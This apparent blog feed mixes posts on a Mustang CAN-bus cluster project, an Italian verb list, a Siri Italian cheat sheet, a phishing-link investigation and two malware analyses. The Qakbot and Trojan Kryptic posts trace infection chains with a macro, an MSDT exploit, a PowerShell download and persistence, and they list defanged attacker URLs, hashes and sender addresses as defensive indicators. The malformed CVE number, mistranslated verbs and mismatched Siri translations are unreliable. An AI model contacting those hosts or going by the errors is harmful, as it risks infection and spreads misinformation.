<li>Airbag Indicator</li> <li>Parking Brake Indicator</li> <li>ABS Indicator</li> <li>Traction Control Indicator</li> <li>Hill Start Assist Warning Message (Suppressed)</li> <li>Launch Control Indicator</li> <li>Door Ajar Indicator / Warning</li> <li>Speedometer</li> <li>RPM</li> <li>Engine Temp / Overheat Warning</li> <li>Cluster Navigation (Arrow Keys + Enter key to interact with the on screen display)</li> </ul> <h1 id="future-enhancements">Future Enhancements</h1> <p>At the time of writing in Feb 2024, I no longer have a mustang so data logging to find further functionality is not available to me. Things I would love to have work though:</p> <ul> <li>Check Engine Indicator</li> <li>Control Fuel Gauge (would require use of pins 9 &amp; 10 on cluster)</li> <li>TPMS Indicator</li> <li>Fix the plethora of warnings when the cluster boots up<ul> <li>Blind Spot Assist Not available</li> <li>Low Engine Oil pressure</li> <li>Steering Assist Fault Service Required</li> <li>Cross Traffic System Fault</li> <li>Fuel Level Low</li> <li>See Manual</li> <li>Door Ajar</li> <li>Tire Pressure Monitor Fault</li> </ul> </li> <li>Gauges<ul> <li>Air/Fuel Ratio</li> <li>Boost/Vaccuum</li> <li>Oil Pressure</li> <li>Inlet Air Temp</li> <li>Miles to E</li> </ul> </li> <li>Odometer</li> </ul> <p>If any one else has a mustang and can perform data-logging or reverse engineering, feel free to make pull requests to my github with more functionality!<br/> <a href="https://github.com/EricTurner3/s550-canbus/issues">Issues &middot; EricTurner3/s550-canbus &middot; GitHub</a></p>2023-04-20T21:24:53-04:002026-05-27T02:21:46.476699-04:00Eric Turnertag:blog.ericturner.it,2023-04-20:/2023/04/20/top-200-verbs-in-italian/

<p>Ecco l'elenco dei 200 verbi pi&ugrave; importanti in italiano.</p> <p>italiano</p> <p>English</p> <p>abitare &nbsp;</p> <p>to live in</p> <p>abituarsi &nbsp;</p> <p>to get used to</p> <p>accadere</p> <p>to happen</p> <p>accendere</p> <p>to turn on / switch on</p> <p>acquista</p> <p>to buy</p> <p>affittare</p> <p>to rent out</p> <p>aiutare &nbsp;</p> <p>to help</p> <p>amare &nbsp;</p> <p>to love</p> <p>andare &nbsp;</p> <p>to go</p> <p>apparire</p> <p>to appear</p> <p>appartenere a …</p>

<p>Ecco l'elenco dei 200 verbi pi&ugrave; importanti in italiano.</p> <p>italiano</p> <p>English</p> <p>abitare &nbsp;</p> <p>to live in</p> <p>abituarsi &nbsp;</p> <p>to get used to</p> <p>accadere</p> <p>to happen</p> <p>accendere</p> <p>to turn on / switch on</p> <p>acquista</p> <p>to buy</p> <p>affittare</p> <p>to rent out</p> <p>aiutare &nbsp;</p> <p>to help</p> <p>amare &nbsp;</p> <p>to love</p> <p>andare &nbsp;</p> <p>to go</p> <p>apparire</p> <p>to appear</p> <p>appartenere a</p> <p>to belong</p> <p>appellarsi</p> <p>to appeal</p> <p>appendere</p> <p>to hang</p> <p>aprire</p> <p>to open</p> <p>arrivare</p> <p>to arrive</p> <p>ascensore</p> <p>to lift</p> <p>ascoltare &nbsp;</p> <p>to listen</p> <p>aspettare &nbsp;</p> <p>to wait</p> <p>assaggiate</p> <p>to taste</p> <p>attirare</p> <p>to attract</p> <p>augurare</p> <p>to wish</p> <p>avere</p> <p>to have</p> <p>baciare</p> <p>to kiss</p> <p>battere</p> <p>to beat</p> <p>bere &nbsp;</p> <p>to drink</p> <p>bisognare</p> <p>to need</p> <p>cadere</p> <p>to fall</p> <p>calcolare</p> <p>to reckon</p> <p>cambiare &nbsp;</p> <p>to change</p> <p>camminare &nbsp;</p> <p>to walk</p> <p>cancellare</p> <p>to delete</p> <p>cantare</p> <p>to sing</p> <p>capire</p> <p>to understand</p> <p>catturare</p> <p>to catch</p> <p>cenare &nbsp;</p> <p>to have dinner</p> <p>cercare &nbsp;</p> <p>to look for</p> <p>chiamare</p> <p>to call</p> <p>chiamarsi &nbsp;</p> <p>to be called</p> <p>chiedere &nbsp;</p> <p>to ask</p> <p>chiudere &nbsp;</p> <p>to close</p> <p>collegare</p> <p>to plug</p> <p>comportarsi &nbsp;</p> <p>to behave</p> <p>comprare &nbsp;</p> <p>to buy</p> <p>condividi</p> <p>to share</p> <p>condurre</p> <p>to lead</p> <p>confrontare</p> <p>to compare</p> <p>conoscere</p> <p>to get to know</p> <p>consentire</p> <p>to allow</p> <p>contare</p> <p>to count</p> <p>correre &nbsp;</p> <p>to run</p> <p>costare</p> <p>to cost</p> <p>creare</p> <p>to create</p> <p>credere</p> <p>to believe</p> <p>crescere</p> <p>to grow</p> <p>cucinare</p> <p>to cook</p> <p>cuocere &nbsp;</p> <p>to cook</p> <p>dare</p> <p>to give</p> <p>deciderare</p> <p>to decide</p> <p>decomprimere</p> <p>to unclasp</p> <p>desidera</p> <p>to want/desire</p> <p>dimenticare</p> <p>to forget</p> <p>dipingere</p> <p>to paint</p> <p>dire &nbsp;</p> <p>to say</p> <p>discutere</p> <p>to argue</p> <p>disegnare</p> <p>to draw</p> <p>dispiacere &nbsp;</p> <p>to be sorry</p> <p>disturbare</p> <p>to disturb</p> <p>diventare &nbsp;</p> <p>to become</p> <p>divertirsi &nbsp;</p> <p>to have fun</p> <p>doccia</p> <p>to shower</p> <p>dormire</p> <p>to sleep</p> <p>dotare</p> <p>to endow</p> <p>dovere</p> <p>must/shall</p> <p>entrare &nbsp;</p> <p>to enter</p> <p>essere &nbsp;</p> <p>to be</p> <p>fare</p> <p>to do / to make</p> <p>ferire</p> <p>to hurt</p> <p>fermare</p> <p>to stop</p> <p>festeggiare</p> <p>to celebrate</p> <p>finire &nbsp;</p> <p>to finish/end</p> <p>fumire</p> <p>to smoke</p> <p>gara</p> <p>to race</p> <p>giocare</p> <p>to play</p> <p>godere &nbsp;</p> <p>to enjoy</p> <p>gridare</p> <p>to cry / shout</p> <p>guadagnare</p> <p>to earn</p> <p>guardare &nbsp;</p> <p>to watch</p> <p>imparare</p> <p>to learn</p> <p>incontrare</p> <p>to meet</p> <p>indossare</p> <p>to wear</p> <p>infastidire</p> <p>to annoy</p> <p>informare</p> <p>to inform</p> <p>iniziare &nbsp;</p> <p>to start / begin</p> <p>installare</p> <p>to install</p> <p>interessare &nbsp;</p> <p>to interest</p> <p>inviare</p> <p>to send</p> <p>invitare &nbsp;</p> <p>to invite</p> <p>lasciare &nbsp;</p> <p>to leave, to let</p> <p>lavare</p> <p>to wash</p> <p>lavorare &nbsp;</p> <p>to work</p> <p>leggere &nbsp;</p> <p>to read</p> <p>mancare</p> <p>to miss</p> <p>mandare &nbsp;</p> <p>to send</p> <p>mangiare</p> <p>to eat</p> <p>mentire</p> <p>to lie</p> <p>mettere &nbsp;</p> <p>to put</p> <p>morire &nbsp;</p> <p>to die</p> <p>mostrare</p> <p>to show</p> <p>nascere &nbsp;</p> <p>to be born</p> <p>nascondere</p> <p>to hide</p> <p>nevicare</p> <p>to snow</p> <p>nuotare</p> <p>to swim</p> <p>odiare</p> <p>to hate</p> <p>offerta</p> <p>to offer</p> <p>ordinare &nbsp;</p> <p>to order</p> <p>ottenere</p> <p>to get</p> <p>pagare</p> <p>to pay</p> <p>parlare</p> <p>to speak</p> <p>partire &nbsp;</p> <p>to leave</p> <p>pensare &nbsp;</p> <p>to think</p> <p>perdere</p> <p>to lose</p> <p>piacere &nbsp;</p> <p>to like</p> <p>piovere</p> <p>to rain</p> <p>portare &nbsp;</p> <p>to bring</p> <p>porre</p> <p>to ask</p> <p>potere &nbsp;</p> <p>can, to be able to</p> <p>pranzare &nbsp;</p> <p>to have lunch</p> <p>prendere</p> <p>to take</p> <p>preparare</p> <p>to prepare</p> <p>presentare</p> <p>to introduce</p> <p>provare</p> <p>to try</p> <p>pulire</p> <p>to clean</p> <p>raccomandare</p> <p>to recommend</p> <p>ricercare</p> <p>to search</p> <p>ricevere</p> <p>to receive</p> <p>ricordare &nbsp;</p> <p>to remember</p> <p>ridete</p> <p>to laugh</p> <p>rimanere &nbsp;</p> <p>to stay</p> <p>ringraziare</p> <p>to thank</p> <p>riparazione</p> <p>to repair</p> <p>ripetere</p> <p>to repeat</p> <p>riposare</p> <p>to rest</p> <p>rispondere &nbsp;</p> <p>to reply</p> <p>risposta</p> <p>to reply</p> <p>risvegliare</p> <p>to rouse</p> <p>rompere</p> <p>to break</p> <p>rubare</p> <p>to steal</p> <p>salire &nbsp;</p> <p>to go up</p> <p>salutare &nbsp;</p> <p>to greet</p> <p>sapere</p> <p>to know</p> <p>scaricare</p> <p>to download</p> <p>scegliete</p> <p>to choose</p> <p>scendere</p> <p>to get off</p> <p>scrivere &nbsp;</p> <p>to write</p> <p>scusarsi</p> <p>to apologize</p> <p>sedere</p> <p>to sit</p> <p>seguire</p> <p>to follow</p> <p>sembrare &nbsp;</p> <p>to seem</p> <p>sentire</p> <p>to feel</p> <p>sento odore di</p> <p>to smell</p> <p>servire &nbsp;</p> <p>to serve / to need</p> <p>significare</p> <p>to mean</p> <p>sognare</p> <p>to dream</p> <p>sorridere</p> <p>to smile</p> <p>sparare</p> <p>to shoot</p> <p>spedire</p> <p>to mail</p> <p>spegnere</p> <p>to shut down</p> <p>sperare &nbsp;</p> <p>to hope</p> <p>spiegare</p> <p>to explain</p> <p>spingere</p> <p>to push</p> <p>sposare</p> <p>to marry</p> <p>spostare</p> <p>to move</p> <p>stampare</p> <p>to press</p> <p>studiare &nbsp;</p> <p>to study</p> <p>svegliarsi</p> <p>to wake up</p> <p>tagliare</p> <p>to cut</p> <p>telefonare &nbsp;</p> <p>to phone</p> <p>tenere</p> <p>to hold</p> <p>tentare</p> <p>to attempt</p> <p>tirare</p> <p>to pull</p> <p>toccare</p> <p>to touch</p> <p>tornare &nbsp;</p> <p>to return</p> <p>tradurre &nbsp;</p> <p>to translate</p> <p>traslocare</p> <p>to move out</p> <p>trovare &nbsp;</p> <p>to find</p> <p>usare &nbsp;</p> <p>to use</p> <p>uscire &nbsp;</p> <p>to exit</p> <p>vedere &nbsp;</p> <p>to see</p> <p>vedi</p> <p>to see</p> <p>vendere</p> <p>to sell</p> <p>venire &nbsp;</p> <p>to come</p> <p>viaggiare</p> <p>to travel</p> <p>vietare</p> <p>to prohibit</p> <p>vincere &nbsp;</p> <p>to win</p> <p>visitare &nbsp;</p> <p>to visit</p> <p>vivere &nbsp;</p> <p>to live</p> <p>volare</p> <p>to fly</p> <p>volere &nbsp;</p> <p>to want</p> <p>If you use an app such as <a href="https://www.ankiapp.com/">AnkiApp</a>, you can import this word list with a csv!</p>2023-04-18T12:04:00-04:002026-05-17T14:03:45.466936-04:00Eric Turnertag:blog.ericturner.it,2023-04-18:/2023/04/18/qakbot-campaign-6apr2023/

<h2 id="correspondence">Correspondence</h2> <p>Sender</p> <p>Subject</p> <p>Attachment Name</p> <p>Attachment Hash (with VirusTotal link)</p> <p>clemke[@]e-chuppah[.]com</p> <p>RE: New Borrowers</p> <p>AK.pdf</p> <p><a href="https://www.virustotal.com/gui/file/9521bc74735d1300e182eaa98299023ba08acc9af17b85cc50b3938c99bd0b32">9521bc74735d1300e182eaa98299023ba08acc9af17b85cc50b3938c99bd0b32</a></p> <p>aschaden[@]shopbarbay[.]com</p> <p>FW: Check Image Request</p> <p>NI.pdf</p> <p><a href="https://www.virustotal.com/gui/file/93482d229926521cfc0000bda2e931181e0f06f4a9f808f0068634678ae9a0fc">93482d229926521cfc0000bda2e931181e0f06f4a9f808f0068634678ae9a0fc</a></p> <p>wtremblay[@]aaofoo[.]com</p> <p>RE: Cashing Third Party Checks</p> <p>CT.pdf</p> <p><a href="https://www.virustotal.com/gui/file/77a2b75334a8e3a4e2960e0c1600a1ea14933bba1f4a7297ad177e140f3302f2">77a2b75334a8e3a4e2960e0c1600a1ea14933bba1f4a7297ad177e140f3302f2</a></p> <p>se[.]jursnaeb[@]adyasiddhi[.]com</p> <p>RE: Hello--</p> <p>TX.pdf</p> <p><a href="https://www.virustotal.com/gui/file/3a0141a9b22639c969244967676c999757406383cf8eb0eb75a9e89176661045">3a0141a9b22639c969244967676c999757406383cf8eb0eb75a9e89176661045</a></p> <p>This …</p>

<h2 id="correspondence">Correspondence</h2> <p>Sender</p> <p>Subject</p> <p>Attachment Name</p> <p>Attachment Hash (with VirusTotal link)</p> <p>clemke[@]e-chuppah[.]com</p> <p>RE: New Borrowers</p> <p>AK.pdf</p> <p><a href="https://www.virustotal.com/gui/file/9521bc74735d1300e182eaa98299023ba08acc9af17b85cc50b3938c99bd0b32">9521bc74735d1300e182eaa98299023ba08acc9af17b85cc50b3938c99bd0b32</a></p> <p>aschaden[@]shopbarbay[.]com</p> <p>FW: Check Image Request</p> <p>NI.pdf</p> <p><a href="https://www.virustotal.com/gui/file/93482d229926521cfc0000bda2e931181e0f06f4a9f808f0068634678ae9a0fc">93482d229926521cfc0000bda2e931181e0f06f4a9f808f0068634678ae9a0fc</a></p> <p>wtremblay[@]aaofoo[.]com</p> <p>RE: Cashing Third Party Checks</p> <p>CT.pdf</p> <p><a href="https://www.virustotal.com/gui/file/77a2b75334a8e3a4e2960e0c1600a1ea14933bba1f4a7297ad177e140f3302f2">77a2b75334a8e3a4e2960e0c1600a1ea14933bba1f4a7297ad177e140f3302f2</a></p> <p>se[.]jursnaeb[@]adyasiddhi[.]com</p> <p>RE: Hello--</p> <p>TX.pdf</p> <p><a href="https://www.virustotal.com/gui/file/3a0141a9b22639c969244967676c999757406383cf8eb0eb75a9e89176661045">3a0141a9b22639c969244967676c999757406383cf8eb0eb75a9e89176661045</a></p> <p>This particular campaign came from various senders. All attachment names were similar to a two-letter US state abbreviation format.</p> <h2 id="file-analysis">File Analysis</h2> <p>TX.pdf was also uploaded to Hybrid Analysis for further inspection, <a href="https://www.hybrid-analysis.com/sample/3a0141a9b22639c969244967676c999757406383cf8eb0eb75a9e89176661045">here</a>. The PDF contained a link to download the next stage, an encrypted ZIP: </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-3.webp"/></p> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-1.webp"/></p> <p>The second stage downloads PowerShell which then attempts to enumerate a list of compromised domains in order to continue. The sample that I tested had all dead links and did not proceed to the PowerShell script download however it matched similar behavior to this, <a href="https://securelist.com/qbot-banker-business-correspondence/109535/">QBot banker delivered through business correspondence | Securelist</a>.</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-4.webp"/></p> <h2 id="indicators">Indicators</h2> <p><strong>SHA256</strong></p> <p>9521bc74735d1300e182eaa98299023ba08acc9af17b85cc50b3938c99bd0b32</p> <p>93482d229926521cfc0000bda2e931181e0f06f4a9f808f0068634678ae9a0fc</p> <p>77a2b75334a8e3a4e2960e0c1600a1ea14933bba1f4a7297ad177e140f3302f2</p> <p>3a0141a9b22639c969244967676c999757406383cf8eb0eb75a9e89176661045</p> <p><strong>URLs</strong><br/> hxxps://vcallc[.]us/ines/ines[.]php (First Stage, ZIP Dropper)</p>2023-03-22T15:37:00-04:002026-05-17T14:03:45.468936-04:00Eric Turnertag:blog.ericturner.it,2023-03-22:/2023/03/22/trojan-kryptic-22-mar-2023/

<h1 id="initial-email">Initial Email</h1> <p>An email was discovered from comel[@]industry-mass[.]com. This site was created within the last 15 days.<br/> The email was titled Tax return 2022 and contained a .docx file.</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-5.webp"/></p> <p>Opening this file initially looks like an actual tax return. I have redacted the private information from the screenshot …</p>

<h1 id="initial-email">Initial Email</h1> <p>An email was discovered from comel[@]industry-mass[.]com. This site was created within the last 15 days.<br/> The email was titled Tax return 2022 and contained a .docx file.</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-5.webp"/></p> <p>Opening this file initially looks like an actual tax return. I have redacted the private information from the screenshot </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-7.webp"/></p> <p>Behind the scenes, a macro runs that exploits the CVE-2022-301090 MSDT vulnerability. </p> <h1 id="payload-stage-1-msdt-vulnerability">Payload Stage 1: MSDT Vulnerability</h1> <p>The macro calls out to hxxps:\files[.]catbox[.]moe/sndoli[.]hta which contains obfuscated script. </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-8.webp"/></p> <p>When chained with the CVE-2022-301090 vuln, this becomes powershell that makes an IEX request to hxxps://powpowpowffs5[.]blogspot[.]com/atom.xml. This URL immediately 302 redirects to 529f38d0-3744-4286-b484-be860d475d25[.]usrfiles[.]com/ugd/529f38_05b9ed78f84140d6b73380af191cbd42.txt for the stage 2 powershell.</p> <h1 id="payload-stage-2-main-powershell">Payload Stage 2: Main Powershell</h1> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-9.webp"/></p> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-10.webp"/></p> <p>More obfuscation. The initial steps of the script kills several windows processes, it then saves the payload to C:\ProgramFiles\MEMEMAN\CypherDeptoggraphy.~+~ before decrypting to a ScheduledTask creation for the file C:\ProgramData\MEMEMAN\UpdateEscan.js.</p> <h1 id="execution">Execution</h1> <p>The final payload was downloaded and executed within PowerShell around 2:17p 22 Mar. The payload was able to successfully copy itself &amp; create additional files to the MEMEMAN dir. Next it cloned itself to the Windows startup directory and create the two scheduled tasks to maintain persistence.</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-11.webp"/></p> <p>Antivirus detection of proces</p> <h1 id="indicators">Indicators</h1> <h2 id="hashes"><strong>Hashes</strong></h2> <p><strong>SHA256 Hash</strong></p> <p><strong>Description</strong></p> <p>9e49747bcd7e4eea173a793a0a6c34f3533dc23cf6565d32e4de3a33ad3c8fed</p> <p>SHA2 of initial .docx file</p> <p>dac71c21f264036c2c0288340ad6889002a4ed8f4dee74da35b15f7a8a26b473</p> <p>SHA2 of the .hta file</p> <p>a905e397a6bb3374a54fa8ebccf57ff3b8d0f2cd0aca4c9091b0b19fd85d67b3</p> <p>SHA2 of the master payload</p> <p>9c7aefd09d3939a04aa2e36e553881b3ffd88efe8fdda7121a80f37653606b0d</p> <p>SHA2 of REALENGINEUPDATE.js, a persistence file spawned by the execution of the master payload</p> <p>6b4fb85973c337fd7cf1b272ab313557a2d256314ab599638fac3ba3d6e8ffb7</p> <p>SHA2 of UpdateEscan.js, a persistence file spawned by the execution of the master payload</p> <p>e7831599adde64042091b5db47032e3a3c3b2f7b8720156900b38f35ca2d8936</p> <p>SHA2 of WindowsDEFENDERUPDATE.js, a persistence file spawned by the execution of the master payload</p> <p>9b57c468f4df5bbedb75d0027348a2dd278e4d168b83a6e74c777d6737de0606</p> <p>SHA2 of CypherDeptography.~_~, a persistence file spawned by the execution of the master payload</p> <h2 id="urls"><strong>URLs</strong></h2> <p><strong>URL</strong></p> <p><strong>Description</strong></p> <p>urlcallinghta6[.]blogspot[.]com/atom[.]xml</p> <p>1st URL request from .docx file</p> <p>files[.]catbox[.]moe/sndoli[.]hta</p> <p>2nd URL that was the result of a 302 redirect from 1st URL.</p> <p>powpowpowffs5[.]blogspot[.]com/atom[.]xml</p> <p>3rd URL that was contacted from the decoded powershell code in sndoli.hta</p> <p>529f38d0-3744-4286-b484-be860d475d25[.]usrfiles.com/ugd/529f38_05b9ed78f84140d6b73380af191cbd42[.]txt</p> <p>4th URL that was the result of a 302 redirect from 3rd URL</p> <p>bakc2000[.]blogspot.com/atom[.]xml</p> <p>URL used by one of the files for persistence, re</p> <p>backuphotelall[.]blogspot.com/atom[.]xml</p> <p>URL used by one of the files for persistence</p> <h1 id="other-resources_1">Other Resources</h1> <ul> <li><a href="https://www.hybrid-analysis.com/sample/a905e397a6bb3374a54fa8ebccf57ff3b8d0f2cd0aca4c9091b0b19fd85d67b3/641b43305411ea5d800475e5">HybridAnalysis Report on Master Payload</a></li> <li><a href="https://twitter.com/c_APT_ure/status/1632117065493405698">@c_apt_ur on Twitter discovering atom.xml files being used in a similar attack</a></li> </ul>2023-03-16T21:23:20-04:002026-05-17T14:03:45.428866-04:00Eric Turnertag:blog.ericturner.it,2023-03-16:/2023/03/16/bigliettino-di-siri-siri-cheat-sheet/

<p>I've found that Siri can be great for practicing speaking and listening in a new language, plus it helps you learn critical phrases that are used on a day to day basis. Here's a cheat sheet of things to ask Siri. Most of this was sourced from the Apple Support …</p>

<p>I've found that Siri can be great for practicing speaking and listening in a new language, plus it helps you learn critical phrases that are used on a day to day basis. Here's a cheat sheet of things to ask Siri. Most of this was sourced from the Apple Support pages but is on one page for ease of reference.</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2023/03/image.webp"/></p> <h1 id="fare-una-chiamata">Fare una chiamata</h1> <p>Ehi Siri, chiama mamma.</p> <p><em>Hey Siri, call Mom</em></p> <p>Ehi Siri, chiama il cellulare di Marco in vivavoce.</p> <p><em>Hey Siri, call Marco's cell on speaker</em></p> <p><img alt="" src="https://blog.ericturner.it/uploads/2023/03/image-1.webp"/></p> <h1 id="inviare-un-messaggio">Inviare un messaggio</h1> <p>Ehi Siri, invia un messaggio a Laura.</p> <p><em>Hey Siri, send a message to Laura.</em></p> <p>Ehi Siri, invia un messaggio di testo a Sofia e Adriano che dice: &lsquo;Dove siete?'</p> <p><em>Hey Siri, send a text message to Sofia and Adriano that says, "Where are you?"</em></p> <p><img alt="" src="https://blog.ericturner.it/uploads/2023/03/image-9.webp"/></p> <h1 id="scoprire-il-meteo">Scoprire il meteo</h1> <p>Ehi Siri, che tempo far&agrave; oggi?</p> <p><strong>Hey Siri, what's the weather like today?</strong></p> <p>Ehi Siri, avr&ograve; bisogno di un ombrello domani?</p> <p><em>Hey Siri, will I need an umbrella tomorrow?</em></p> <p><img alt="" src="https://blog.ericturner.it/uploads/2023/03/image-5.webp"/></p> <h1 id="trovare-posti-e-indicazioni">Trovare posti e indicazioni</h1> <p>Ehi Siri, trova un bar nelle vicinanze.</p> <p><em>Hey Siri, find a caf&eacute;&nbsp;nearby.</em></p> <p>Ehi Siri, trova le indicazioni per tornare a casa.</p> <p><em>Hey Siri, find directions home.</em></p> <p>Ehi Siri, andiamo a casa</p> <p><em>Hey Siri, let's go home.</em></p> <p>Ehi Siri, a che ora chiude l'Apple&nbsp;Store?</p> <p><em>Hey Siri, what time does the Apple Store close?</em></p> <p>Ehi Siri, com'&egrave; il traffico nel centro di San Francisco?</p> <p><em>Hey Siri, how's the traffic in downtown San Francisco?</em></p> <p><img alt="" src="https://blog.ericturner.it/uploads/2023/03/image-6.webp"/></p> <h1 id="ascolta-la-musica-e-podcast">Ascolta la musica e podcast</h1> <p>Ehi Siri, riproduci i brani pi&ugrave; popolari di Taylor Swift.</p> <p><em>Hey Siri, play Taylor Swift's most popular songs.</em></p> <p>Ehi Siri, fammi sentire il nuovo album di Tame Impala.</p> <p><em>Hey Siri, let me hear Tame Impala's new album.</em></p> <p>Ehi Siri, vorrei ascoltare un po' di rock alternativo degli anni '90.</p> <p><em>Hey Siri, I'd like to listen to some alternative rock from the 90s.</em></p> <p>Ehi Siri, riproduci musica adatta a una giornata di pioggia.</p> <p><em>Hey Siri, play music suitable for a rainy day.</em></p> <p>Ehi Siri, fammi sentire un po' di musica rilassante.</p> <p><em>Hey Siri, let me hear some relaxing music.</em></p> <p>Ehi Siri, riproduci il podcast 'You're Wrong About'.</p> <p><em>Hey Siri, play the podcast 'You're Wrong About'</em>.</p> <p>Ehi Siri, metti in pausa.</p> <p><em>Hey Siri, pause.</em></p> <p>Ehi Siri, salta questo brano.</p> <p><em>Hey Siri, skip this song.</em></p> <p>Ehi Siri, ripeti la riproduzione di questo brano.</p> <p><em>Hey Siri, repeat this song.</em></p> <p>Ehi Siri, alza il volume.</p> <p><em>Hey Siri, raise the volume.</em></p> <p>Ehi Siri, torna indietro di 30 secondi.</p> <p><em>Hey Siri, go back 30 seconds.</em></p> <p>Ehi Siri, riproducilo a velocit&agrave; doppia.</p> <p><em>Hey Siri, play at 2x speed</em></p> <p>Ehi Siri, vai avanti di 10 minuti.</p> <p><em>Hey Siri, go ahead 10 minutes.</em></p> <p>Ehi Siri, fammi sentire altri brani simili.</p> <p><em>Hey Siri, let me hear similar songs</em>.</p> <p>Ehi Siri, chi canta questo brano?</p> <p><em>Hey Siri, who sings this song?</em></p> <p>Ehi Siri, in quale album &egrave; presente?</p> <p><em>Hey Siri, which album is it in?</em></p> <p>Ehi Siri, qual &egrave; il nome di questo brano?</p> <p><em>Hey Siri, what is the name of this song?</em></p> <p>Ehi Siri, aggiungi questo brano alla mia playlist di allenamento.</p> <p><em>Hey Siri, add this song to my workout playlist.</em></p> <p><img alt="" src="https://blog.ericturner.it/uploads/2023/03/image-7.webp"/></p> <h1 id="controllare-labitazione">Controllare l'abitazione</h1> <p>Ehi Siri, accendi le luci.</p> <p><em>Hey Siri, find a caf&eacute;&nbsp;nearby.</em></p> <p>Ehi Siri, spegni il ventilatore.</p> <p><em>Hey Siri, find directions home.</em></p> <p>Ehi Siri, accendi il riscaldamento.</p> <p><em>Hey Siri, let's go home.</em></p> <p>Ehi Siri, spegni il ventilatore in camera da letto a mezzogiorno.</p> <p><em>Hey Siri, turn off the bedroom fan at noon.</em></p> <p>Ehi Siri, spegni le luci nello studio.</p> <p><em>Hey Siri, turn off the lights in the studio.</em></p> <p>Ehi Siri, abilita il mio sistema di sicurezza.</p> <p><em>Hey Siri, enable my security system.</em></p> <p>Ehi Siri, la porta del garage &egrave; aperta?</p> <p><em>Hey Siri, is the garage door open?</em></p> <p>Ehi Siri, le luci di sotto sono accese?</p> <p><em>Hey Siri, are the lights downstairs on?</em></p> <p>Ehi Siri, imposta la temperatura a 20&nbsp;gradi.</p> <p><em>Hey Siri, set the temperature to 20 degrees.</em></p> <p>Ehi Siri, chiudi la porta d'ingresso.</p> <p><em>Hey Siri, lock the front door.</em></p> <p>Ehi Siri, regola l'illuminazione sul 50% al piano di sotto.</p> <p><em>Hey Siri, adjust the brightness downstairs to 50%</em></p> <p>Ehi Siri, imposta le luci al 25% in ufficio.</p> <p><em>Hey Siri, set the lights to 25% in the office.</em></p> <p><img alt="" src="https://blog.ericturner.it/uploads/2023/03/image-8.webp"/></p> <h1 id="trovare-informazioni-e-altro">Trovare informazioni e altro</h1> <p>Ehi Siri, quanto &egrave; alto il monte Everest?</p> <p><em>Hey Siri, how tall is Mount Everest?</em></p> <p>Ehi Siri, dov'&egrave; il mio iPhone?</p> <p><em>Hey Siri, where's my iPhone?</em></p> <p>Ehi Siri, dimmi le ultime notizie sportive.</p> <p><em>Hey Siri, give me the latest sports news.</em></p> <p>Ehi Siri, chi &egrave; in testa alla classifica della Premier League in questo momento?</p> <p><em>Hey Siri, who is leading in the Premier League right now?</em></p> <p>Ehi Siri, qual &egrave; la capitalizzazione di mercato di Apple?</p> <p><em>Hey Siri, what's Apple's market capitalization?</em></p> <p>Ehi Siri, confronta AAPL e NASDAQ.</p> <p><em>Hey Siri, compare AAPL and NASDAQ.</em></p> <p>Ehi Siri, quanti millilitri ci sono in una tazza?</p> <p><em>Hey Siri, how many milliliters are in a cup?</em></p> <p>Ehi Siri, imposta un timer di 45 minuti.</p> <p><em>Hey Siri, set a 45-minute timer.</em></p> <p>Ehi Siri, quanta caffeina c'&egrave; nel caff&egrave;?</p> <p><em>Hey Siri, how much caffeine is in coffee?</em></p> <p>Ehi Siri, che ore sono a Berlino?</p> <p><em>Hey Siri, what time is it in Berlin?</em></p> <p>Ehi Siri, quando entra in vigore l'ora legale?</p> <p><em>Hey Siri, when does daylight savings time go into effect?</em></p> <p>Ehi Siri, svegliami domani alle 6:00.</p> <p><em>Hey Siri, wake me up tomorrow at 6:00.</em></p> <p>Ehi Siri, come si dice 'buongiorno' in tedesco?</p> <p><em>Hey Siri, how do you say 'good morning' in German?</em></p> <p>Ehi Siri, quale film ha vinto l'Oscar al miglior film l'anno scorso?</p> <p><em>Hey Siri, which movie won the Oscar for Best Picture last year?</em></p> <h1 id="references">References</h1> <p><a href="https://support.apple.com/it-it/siri">Cosa posso chiedere a Siri? - Supporto&nbsp;Apple ufficiale</a></p> <p><a href="https://support.apple.com/it-it/HT208279">Usare Siri per ascoltare la musica e i podcast - Supporto Apple (IT)</a></p> <p><a href="https://support.apple.com/it-it/HT208336">Fare di pi&ugrave; con Siri - Supporto Apple (IT)</a></p> <p><a href="https://support.apple.com/it-it/HT208280">Controllare l'abitazione con Siri - Supporto Apple (IT)</a></p>2022-04-22T00:54:07-04:002026-05-17T14:03:45.464873-04:00Eric Turnertag:blog.ericturner.it,2022-04-22:/2022/04/22/odd-phishing-link/

<p>Friend sent me a strange message she got with the following link: </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/04/image-7.webp"/></p> <p>Thanks government, for giving me my money back on some strange link</p> <h1 id="attempt-1-www">Attempt 1: www</h1> <p>I booted into my REMnux VM and turned on Burp suite to intercept the traffic. If you leave off the trailing slash (like …</p>

<p>Friend sent me a strange message she got with the following link: </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/04/image-7.webp"/></p> <p>Thanks government, for giving me my money back on some strange link</p> <h1 id="attempt-1-www">Attempt 1: www</h1> <p>I booted into my REMnux VM and turned on Burp suite to intercept the traffic. If you leave off the trailing slash (like in the text above), it just redirects to <code>/Indiana/g/</code> then proceeds as following:</p> <p>Step 1: Link redirects to dnkshop <dot> net:</dot></p> <p><img alt="Screenshot showing a 302 URL redirection to dnk shop &lt;dot&gt; net" src="https://blog.ericturner.it/uploads/2022/04/IMG_3112.webp"/></p> <p>Step 2: dnk shop redirects to itself, but now with a sid cookie and a JWT token</p> <p><img alt="redirect to dnk shop (itself) again, but with a JWT token and sid cookie set." src="https://blog.ericturner.it/uploads/2022/04/IMG_3551.webp"/></p> <p>I decoded the JWT token, it was created, presumably, by the library <a href="https://github.com/joken-elixir/joken">Joken</a>. This is a <a href="https://hex.pm/packages/joken">library</a> for a programming language called Elixir.</p> <p><img alt="" 